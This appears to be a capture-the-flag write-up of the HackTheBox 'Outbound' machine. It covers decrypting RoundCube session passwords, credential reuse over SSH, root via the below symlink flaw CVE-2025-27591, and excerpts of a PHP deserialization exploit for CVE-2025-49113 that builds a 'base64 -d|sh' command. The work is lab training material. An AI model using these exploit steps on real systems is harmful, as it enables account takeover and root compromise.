oxdf@hacky$ echo "bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjM7dXNlcm5hbWV8czo1OiJ0eWxlciI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6ImhjVkNTTlhPWWdVWHZoQXJuMWExT0hKdERjaytDRk1FIjtsb2dpbl90aW1lfGk6MTc2Mjg4NTk5Njt0aW1lem9uZXxzOjM6IlVUQyI7U1RPUkFHRV9TUEVDSUFMLVVTRXxiOjE7YXV0aF9zZWNyZXR8czoyNjoiSzBRSTZmeHV0ZWFuNm5aSFl1MDU4WGl5MU8iO3JlcXVlc3RfdG9rZW58czozMjoic1JkNjZrQXhMbmJjQjZaTUZzZENiMnc3SDFzektwWm0iO3Rhc2t8czo0OiJtYWlsIjtza2luX2NvbmZpZ3xhOjc6e3M6MTc6InN1cHBvcnRlZF9sYXlvdXRzIjthOjE6e2k6MDtzOjEwOiJ3aWRlc2NyZWVuIjt9czoyMjoianF1ZXJ5X3VpX2NvbG9yc190aGVtZSI7czo5OiJib290c3RyYXAiO3M6MTg6ImVtYmVkX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTk6ImVkaXRvcl9jc3NfbG9jYXRpb24iO3M6MTc6Ii9zdHlsZXMvZW1iZWQuY3NzIjtzOjE3OiJkYXJrX21vZGVfc3VwcG9ydCI7YjoxO3M6MjY6Im1lZGlhX2Jyb3dzZXJfY3NzX2xvY2F0aW9uIjtzOjQ6Im5vbmUiO3M6MjE6ImFkZGl0aW9uYWxfbG9nb190eXBlcyI7YTozOntpOjA7czo0OiJkYXJrIjtpOjE7czo1OiJzbWFsbCI7aToyO3M6MTA6InNtYWxsLWRhcmsiO319aW1hcF9ob3N0fHM6OToibG9jYWxob3N0IjtwYWdlfGk6MTttYm94fHM6NToiSU5CT1giO3NvcnRfY29sfHM6MDoiIjtzb3J0X29yZGVyfHM6NDoiREVTQyI7U1RPUkFHRV9USFJFQUR8YTozOntpOjA7czoxMDoiUkVGRVJFTkNFUyI7aToxO3M6NDoiUkVGUyI7aToyO3M6MTQ6Ik9SREVSRURTVUJKRUNUIjt9U1RPUkFHRV9RVU9UQXxiOjA7U1RPUkFHRV9MSVNULUVYVEVOREVEfGI6MTtsaXN0X2F0dHJpYnxhOjY6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjt9dW5zZWVuX2NvdW50fGE6MTp7czo1OiJJTkJPWCI7aTowO30=" | base64 -d | tr ';' '\n'
language|s:5:"en_US"
imap_namespace|a:4:{s:8:"personal"
a:1:{i:0
a:2:{i:0
s:0:""
i:1
s:1:"/"
}}s:5:"other"
N
s:6:"shared"
N
s:10:"prefix_out"
s:0:""
}imap_delimiter|s:1:"/"
imap_list_conf|a:2:{i:0
N
i:1
a:0:{}}user_id|i:3
username|s:5:"tyler"
storage_host|s:9:"localhost"
storage_port|i:143
storage_ssl|b:0
password|s:32:"hcVCSNXOYgUXvhArn1a1OHJtDck+CFME"
login_time|i:1762885996
timezone|s:3:"UTC"
STORAGE_SPECIAL-USE|b:1
auth_secret|s:26:"K0QI6fxutean6nZHYu058Xiy1O"
request_token|s:32:"sRd66kAxLnbcB6ZMFsdCb2w7H1szKpZm"
task|s:4:"mail"
skin_config|a:7:{s:17:"supported_layouts"
a:1:{i:0
s:10:"widescreen"
}s:22:"jquery_ui_colors_theme"
s:9:"bootstrap"
s:18:"embed_css_location"
s:17:"/styles/embed.css"
s:19:"editor_css_location"
s:17:"/styles/embed.css"
s:17:"dark_mode_support"
b:1
s:26:"media_browser_css_location"
s:4:"none"
s:21:"additional_logo_types"
a:3:{i:0
s:4:"dark"
i:1
s:5:"small"
i:2
s:10:"small-dark"
}}imap_host|s:9:"localhost"
page|i:1
mbox|s:5:"INBOX"
sort_col|s:0:""
sort_order|s:4:"DESC"
STORAGE_THREAD|a:3:{i:0
s:10:"REFERENCES"
i:1
s:4:"REFS"
i:2
s:14:"ORDEREDSUBJECT"
}STORAGE_QUOTA|b:0
STORAGE_LIST-EXTENDED|b:1
list_attrib|a:6:{s:4:"name"
s:8:"messages"
s:2:"id"
s:11:"messagelist"
s:5:"class"
s:42:"listing messagelist sortheader fixedheader"
s:15:"aria-labelledby"
s:22:"aria-label-messagelist"
s:9:"data-list"
s:12:"message_list"
s:14:"data-label-msg"
s:18:"The list is empty."
}unseen_count|a:1:{s:5:"INBOX"
i:0
}
One that jumps out is:
password|s:32:"hcVCSNXOYgUXvhArn1a1OHJtDck+CFME"
Decrypt with decrypt.sh
RoundCube has a decrypt.sh script in the bin directory that will handle this decryption:
www-data@mail:/var/www/html/roundcube$ ./bin/decrypt.sh
Usage: decrypt.sh encrypted-hdr-part [encrypted-hdr-part ...]
I’ll pass it this blob:
www-data@mail:/var/www/html/roundcube$ ./bin/decrypt.sh hcVCSNXOYgUXvhArn1a1OHJtDck+CFME
LhKL1o9Nm3X2
That’s tyler’s password!
Decrypt Manually
The data is just encrypted using 3DES. I’ll find the key in config.inc.php:
// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
The IV is the first eight bytes of the ciphertext. A quick way to do this is to break it apart in Python:
oxdf@hacky$ python
Python 3.12.3 (main, Aug 14 2025, 17:47:21) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from base64 import b64decode
>>> iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
>>> iv = iv_ct[:8]
>>> ct = iv_ct[8:]
>>> iv.hex()
'85c54248d5ce6205'
>>> ct.hex()
'17be102b9f56b538726d0dc93e085304'
And drop it into CyberChef:
I can do this all in CyberChef without Python using Registers, and I’ll show that in Beyond Root.
Get New Password
I’ll repeat the same steps for the other value. I’ll get the password from the serialized data the same as before (this time with a grep to get just the password field):
oxdf@hacky$ echo "bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7" | base64 -d | tr ';' '\n' | grep password
password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
decrypt.sh will decrypt it:
www-data@mail:/var/www/html/roundcube$ ./bin/decrypt.sh L7Rv00A8TuwJAr67kITxxcSgnIk25Am/
595mO8DmwGeD
SSH
SSH Fail
I’ll take the new password along with the three users I have and try it over SSH:
oxdf@hacky$ netexec ssh 10.10.11.77 -u users -p 595mO8DmwGeD --continue-on-success
SSH 10.10.11.77 22 10.10.11.77 SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.12
SSH 10.10.11.77 22 10.10.11.77 [-] jacob:595mO8DmwGeD
SSH 10.10.11.77 22 10.10.11.77 [-] mel:595mO8DmwGeD
SSH 10.10.11.77 22 10.10.11.77 [-] tyler:595mO8DmwGeD
RoundCube as jacob
This password does work to log into RoundCube as jacob:
The first email is from mel:
It says that jacob has been granted additional privileges to look at log files. The other email is even better:
It’s a new password for jacob!
SSH
This password works for jacob:
oxdf@hacky$ netexec ssh 10.10.11.77 -u users -p gY4Wr3a1evp4 --continue-on-success
SSH 10.10.11.77 22 10.10.11.77 SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.12
SSH 10.10.11.77 22 10.10.11.77 [+] jacob:gY4Wr3a1evp4 Linux - Shell access!
SSH 10.10.11.77 22 10.10.11.77 [-] mel:gY4Wr3a1evp4
SSH 10.10.11.77 22 10.10.11.77 [-] tyler:gY4Wr3a1evp4
I’ll get a shell:
oxdf@hacky$ sshpass -p gY4Wr3a1evp4 ssh jacob@10.10.11.77
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-63-generic x86_64)
...[snip]...
jacob@outbound:~$
And user.txt:
jacob@outbound:~$ cat user.txt
5e7f681c************************
Shell as root
Enumeration
Users
jacob’s home directory is very empty:
jacob@outbound:~$ ls -la
total 28
drwxr-x--- 3 jacob jacob 4096 Jul 8 20:14 .
drwxr-xr-x 5 root root 4096 Jul 8 20:14 ..
lrwxrwxrwx 1 root root 9 Jul 8 11:12 .bash_history -> /dev/null
-rw-r--r-- 1 jacob jacob 220 Jun 8 12:14 .bash_logout
-rw-r--r-- 1 jacob jacob 3771 Jun 8 12:14 .bashrc
drwx------ 2 jacob jacob 4096 Jun 11 11:32 .cache
-rw-r--r-- 1 jacob jacob 807 Jun 8 12:14 .profile
-rw-r----- 1 root jacob 33 Nov 11 16:11 user.txt
The same three users are on the box, and jacob can’t access mel or tyler:
jacob@outbound:/home$ ls
jacob mel tyler
jacob@outbound:/home$ find . -type f
./jacob/.profile
./jacob/.bash_logout
./jacob/.bashrc
./jacob/user.txt
./jacob/.cache/motd.legal-displayed
find: ‘./mel’: Permission denied
find: ‘./tyler’: Permission denied
jacob can run sudo with the below command (though not with the --config, --debug, or -d flags - I’ll look at these in Beyond Root):
jacob@outbound:/$ sudo -l
Matching Defaults entries for jacob on outbound:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
Running below loads all sorts of status properties about the box:
jacob is also in the users group:
jacob@outbound:/$ id
uid=1002(jacob) gid=1002(jacob) groups=1002(jacob),100(users)
There are no files or directories that are owned by this group:
jacob@outbound:/$ find . -group users 2>/dev/null
Filesystem
/opt has two directories in it:
jacob@outbound:/$ ls /opt/
below containerd
containerd is related to the running Docker container. below is likely related to the command that I can run with sudo:
jacob@outbound:/$ ls /opt/below/
below Cargo.lock Cargo.toml clippy.toml CODE_OF_CONDUCT.md contrib CONTRIBUTING.md Dockerfile Dockerfile.debian docs etc img LICENSE README.md rustfmt.toml scripts target
It’s a Rust program (Cargo is the Rust package manager). The Cargo.lock file gives the below version as 0.8.0:
...[snip]...
[[package]]
name = "below"
version = "0.8.0"
dependencies = [
"anyhow",
"below-common",
"below-config",
"below-dump",
"below-model",
"below-store",
"below-view",
"cgroupfs",
"clap",
"clap_complete",
"cursive",
"fb_procfs",
"indicatif",
"libbpf-cargo",
"libbpf-rs",
"libc",
"maplit",
"once_cell",
"plain",
"portpicker",
"regex",
"serde_json",
"signal-hook",
"slog",
"slog-term",
"tar",
"tempfile",
"tokio",
"uzers",
]
...[snip]...
/opt/below/below/Cargo.toml also shows this:
# @generated by autocargo from //resctl/below:below
[package]
name = "below"
version = "0.8.0"
authors = ["Daniel Xu <dlxu@fb.com>", "Facebook"]
edition = "2021"
description = "An interactive tool to view and record historical system data"
readme = "../README.md"
repository = "https://github.com/facebookincubator/below"
license = "Apache-2.0"
[package.metadata]
[package.metadata.deb]
depends = "libelf1, libncursesw5, zlib1g"
[package.metadata.deb.systemd-units]
unit-name = "below"
unit-scripts = "../etc"
[dependencies]
anyhow = "1.0.75"
cgroupfs = { version = "0.8.0", path = "cgroupfs" }
clap = { version = "4.5.2", features = ["derive", "env", "string", "unicode", "wrap_help"] }
clap_complete = "4.5.1"
common = { package = "below-common", version = "0.8.0", path = "common" }
config = { package = "below-config", version = "0.8.0", path = "config" }
cursive = { version = "0.20.0", features = ["crossterm-backend"], default-features = false }
dump = { package = "below-dump", version = "0.8.0", path = "dump" }
indicatif = { version = "0.17.6", features = ["improved_unicode", "rayon", "tokio"] }
libbpf-rs = { version = "0.22", git = "https://github.com/libbpf/libbpf-rs.git", rev = "56dca575089ab2144f51b7949a9ee4c9fc226a47", default-features = false }
libc = "0.2.139"
model = { package = "below-model", version = "0.8.0", path = "model" }
once_cell = "1.12"
plain = "0.2"
procfs = { package = "fb_procfs", version = "0.8.0", path = "procfs" }
regex = "1.9.2"
serde_json = { version = "1.0.100", features = ["float_roundtrip", "unbounded_depth"] }
signal-hook = "0.3"
slog = { version = "2.7", features = ["max_level_trace", "nested-values"] }
slog-term = "2.8"
store = { package = "below-store", version = "0.8.0", path = "store" }
tar = "0.4.40"
tempfile = "3.8"
tokio = { version = "1.36.0", features = ["full", "test-util", "tracing"] }
uzers = "0.11.3"
view = { package = "below-view", version = "0.8.0", path = "view" }
[dev-dependencies]
maplit = "1.0"
portpicker = "0.1.1"
[build-dependencies]
libbpf-cargo = { version = "0.22", git = "https://github.com/libbpf/libbpf-rs.git", rev = "56dca575089ab2144f51b7949a9ee4c9fc226a47", default-features = false }
[features]
default = ["libbpf-cargo/default", "libbpf-rs/default"]
enable_backtrace = []
no-vendor = ["store/no-vendor"]
CVE-2025-27591
Background
Below is:
an interactive tool to view and record historical system data.
It’s from the team at Meta / Facebook.
Searching for CVEs in below finds CVE-2025-27591:
A privilege escalation vulnerability existed in the Below service prior to v0.9.0 due to the creation of a world-writable directory at /var/log/below. This could have allowed local unprivileged users to escalate to root privileges through symlink attacks that manipulate files such as /etc/shadow.
It’s patched in 0.9.0, so this version should be vulnerable. This post on the Openwall security forums describes the issue. On startup, below created the directory /var/log/below and sets its permissions as 777 (which is read/write/execute for all users). It changes the permissions even if it already existed. Then it creates /var/log/below/error_root.log, and then sets the permissions to 666 (world read/write).
The attack is to let it create these directories, and then remove the error_root.log file, and replace it with a symlink to some other file. Then run below again, and it will change the permissions on the target file to 666, allowing me access.
Exploit
I’ve already run below with sudo, so the log directory and file are already there:
jacob@outbound:/var/log$ ls -ld below/
drwxrwxrwx 3 root root 4096 Jul 14 16:39 below/
jacob@outbound:/var/log$ ls -l below/
total 8
-rw-rw-rw- 1 jacob jacob 382 Nov 11 19:37 error_jacob.log
-rw-rw-rw- 1 root root 0 Jul 14 16:39 error_root.log
drwxr-xr-x 2 root root 4096 Nov 11 16:10 store
While error_root.log is owned by root, jacob can still remove it:
jacob@outbound:/var/log$ rm below/error_root.log
jacob@outbound:/var/log$ ls -l below/
total 8
-rw-rw-rw- 1 jacob jacob 382 Nov 11 19:37 error_jacob.log
drwxr-xr-x 2 root root 4096 Nov 11 16:10 store
Now I’ll create a symlink pointing to passwd:
jacob@outbound:/var/log$ ln -sf /etc/passwd below/error_root.log
jacob@outbound:/var/log$ ls -l below/
total 8
-rw-rw-rw- 1 jacob jacob 382 Nov 11 19:37 error_jacob.log
lrwxrwxrwx 1 jacob jacob 11 Nov 11 19:48 error_root.log -> /etc/passwd
drwxr-xr-x 2 root root 4096 Nov 11 16:10 store
I’ll run sudo below, then Ctrl-c to exit. Now /etc/passwd is 666:
jacob@outbound:/var/log$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1840 Jul 14 16:40 /etc/passwd
With access to write to passwd, I’ll add a oxdf user with userid and groupid 0:
jacob@outbound:/var/log$ echo -e 'oxdf::0:0:oxdf:/root:/bin/bash\n' >> /etc/passwd
Now I can switch to that user, who has no password, and be root:
jacob@outbound:/var/log$ su - oxdf
root@outbound:~#
And read root.txt:
root@outbound:~# cat root.txt
8e53f184************************
Beyond Root
PHP Exploit Payload
POC Source
The main code from this POC collects input and calls exploit:
if ($argc !== 5) {
echo "Usage: php CVE-2025-49113.php <url> <username> <password> <command>\n";
exit(1);
}
$baseUrl = $argv[1];
$user = $argv[2];
$pass = $argv[3];
$rceCommand = $argv[4];
exploit($baseUrl, $user, $pass, $rceCommand);
The exploit function handles checking the version, building the PHP serialized object, logging in, and then calling uploadImage where the exploitation happens:
function exploit($baseUrl, $user, $pass, $rceCommand)
{
echo "[+] Starting exploit (CVE-2025-49113)...\n";
// Check version before proceeding
checkVersion($baseUrl);
// Instantiate the Crypt_GPG_Engine class with the RCE command
$gpgEngine = new Crypt_GPG_Engine($rceCommand);
$gadget = $gpgEngine->gadget();
// Escape double quotes in the gadget
$gadget = str_replace('"', '\\"', $gadget);
// Login and get session cookies
$cookies = login($baseUrl, $user, $pass);
// Upload the image with the gadget
uploadImage($baseUrl, $cookies['sessionCookie'], $cookies['authCookie'], $gadget);
}
uploadImage builds the URL and the HTTP request:
function uploadImage($baseUrl, $sessionCookie, $authCookie, $gadget)
{
$uploadUrl = $baseUrl . '/?_task=settings&_framed=1&_remote=1&_from=edit-!xxx&_id=&_uploadid=upload1749190777535&_unlock=loading1749190777536&_action=upload';
// Hardcoded PNG image in base64
$base64Image = 'iVBORw0KGgoAAAANSUhEUgAAAIAAAABcCAYAAACmwr2fAAAAAXNSR0IArs4c6QAAAGxlWElmTU0AKgAAAAgABAEaAAUAAAABAAAAPgEbAAUAAAABAAAARgEoAAMAAAABAAIAAIdpAAQAAAABAAAATgAAAAAAAACQAAAAAQAAAJAAAAABAAKgAgAEAAAAAQAAAICgAwAEAAAAAQAAAFwAAAAAbqF/KQAAAAlwSFlzAAAWJQAAFiUBSVIk8AAAAWBJREFUeAHt1MEJACEAxMDzSvEn2H97CrYx2Q4Swo659vkaa+BnyQN/BgoAD6EACgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B6gAHADOH4PUAC4ARy/BygA3ACO3wMUAG4Ax+8BCgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B4AD+ACXpACLpoPsQQAAAAASUVORK5CYII=';
// Decode the base64 image
$fileContent = base64_decode($base64Image);
if ($fileContent === FALSE) {
echo "Error: Failed to decode the base64 image.\n";
exit(1);
}
$boundary = uniqid();
$data = "--" . $boundary . "\r\n" .
"Content-Disposition: form-data; name=\"_file[]\"; filename=\"" . $gadget . "\"\r\n" .
"Content-Type: image/png\r\n\r\n" .
$fileContent . "\r\n" .
"--" . $boundary . "--\r\n";
$options = [
'http' => [
'header' => "Content-type: multipart/form-data; boundary=" . $boundary . "\r\n" .
"Cookie: " . $sessionCookie . "; " . $authCookie . "\r\n",
'method' => 'POST',
'content' => $data,
'ignore_errors' => true,
// 'request_fulluri' => true, // necessary for HTTP proxies like Burp
// 'proxy' => 'tcp://127.0.0.1:8080',
],
];
...[snip]...
There’s a dummy image hardcoded into the exploit in base64. I can decode that and open it, and it’s just a gray rectangle:
The filename parameter of the form data with the raw image data get the serialized payload.
Payload Analysis
I’ll add a couple debug print statements to the code to look at the generated payload. In exploit:
// Instantiate the Crypt_GPG_Engine class with the RCE command
$gpgEngine = new Crypt_GPG_Engine($rceCommand);
$gadget = $gpgEngine->gadget();
echo "[*] Gadget created: " . $gadget . "\n";
And then later in uploadImage:
echo "[*] URL: " . $uploadUrl . "\n";
echo "[*] Exploiting...\n";
$context = stream_context_create($options);
$result = file_get_contents($uploadUrl, false, $context);
Now running shows the gadget and the URL:
oxdf@hacky$ php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "sleep 2"
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10610
[+] Target is vulnerable!
[*] Gadget created: |O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:34:"echo "c2xlZXAgMg=="|base64 -d|sh;#";s:8:"_homedir";s:0:"";};
[+] Login successful!
[*] URL: http://mail.outbound.htb/?_task=settings&_framed=1&_remote=1&_from=edit-!xxx&_id=&_uploadid=upload1749190777535&_unlock=loading1749190777536&_action=upload
[*] Exploiting...
[+] Gadget uploaded successfully!
The serialized PHP object is:
|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:34:"echo "c2xlZXAgMg=="|base64 -d|sh;#";s:8:"_homedir";s:0:"";};
The command echo "c2xlZXAgMg=="|base64 -d|sh;#, and it is my sleep 2:
oxdf@hacky$ echo "c2xlZXAgMg==" | base64 -d
sleep 2
CyberChef 3DES Decrypt
One of the annoyances of something like this in CyberChef is needing to process a string that has both the ciphertext and the IV. I created a video where I walked through this in May 2024.
I’ll start with the encrypted value that’s base64-encoded. The raw data is the IV (eight bytes) followed by the cipher text. I’ll first use “From Base64” to get it to raw, and then “To Hex” to convert it to hex. The hex isn’t necessary, but I find it much easier to work with:
Next I want to get the IV saved off so I can use it later. I’ll use the “Register” operation:
I’ve given it a regex to pull the first 16 bytes (which is 8 bytes hex encoded) and it shows up as $R0 at the bottom. The output doesn’t change.
Next I need to remove the IV to get just the cipher text, so I’ll use “Find / Replace”:
It’s replacing the first 16 characters with nothing. Now that will pass nicely into the “Triple DES Decrypt” operation. To give it the IV saved in the register, I’ll just put in “$R0”:
Below Sudo Rules
jacob can run below with sudo as any user, but is blocked from certain flags:
jacob@outbound:/$ sudo -l
Matching Defaults entries for jacob on outbound:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
My theory is that this was done more to restraint HTB players than for realism, but it isn’t crazy.
I’ll use visudo to edit the sudoers file to remove these restrictions:
# Cmnd alias specification
Cmnd_Alias BLOCKED_BELOW = /usr/bin/below --config*
Cmnd_Alias BLOCKED_BELOW_DEBUG = /usr/bin/below --debug*
Cmnd_Alias BLOCKED_BELOW_DEBUG_ALT = /usr/bin/below -d*
# User privilege specification
root ALL=(ALL:ALL) ALL
# jacob ALL=(ALL:ALL) NOPASSWD: /usr/bin/below *, !BLOCKED_BELOW, !BLOCKED_BELOW_DEBUG, !BLO>
jacob ALL=(ALL:ALL) NOPASSWD: /usr/bin/below *
Now jacob can run below without restriction:
jacob@outbound:/var/log$ sudo -l
Matching Defaults entries for jacob on outbound:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *
If I try --config and give it root.txt, it spits the flag out in the error:
jacob@outbound:/var/log$ sudo below --config /root/root.txt
Failed to parse config file /root/root.txt: TOML parse error at line 1, column 33
|
1 | 8e53f184575941711f1c01cfe872b43f
| ^
expected `.`, `=`
8e53f184575941711f1c01cfe872b43f
I suspect there’s a similar way to dump the flag using the --debug / -d flag.






Click for full size image
Click for full size image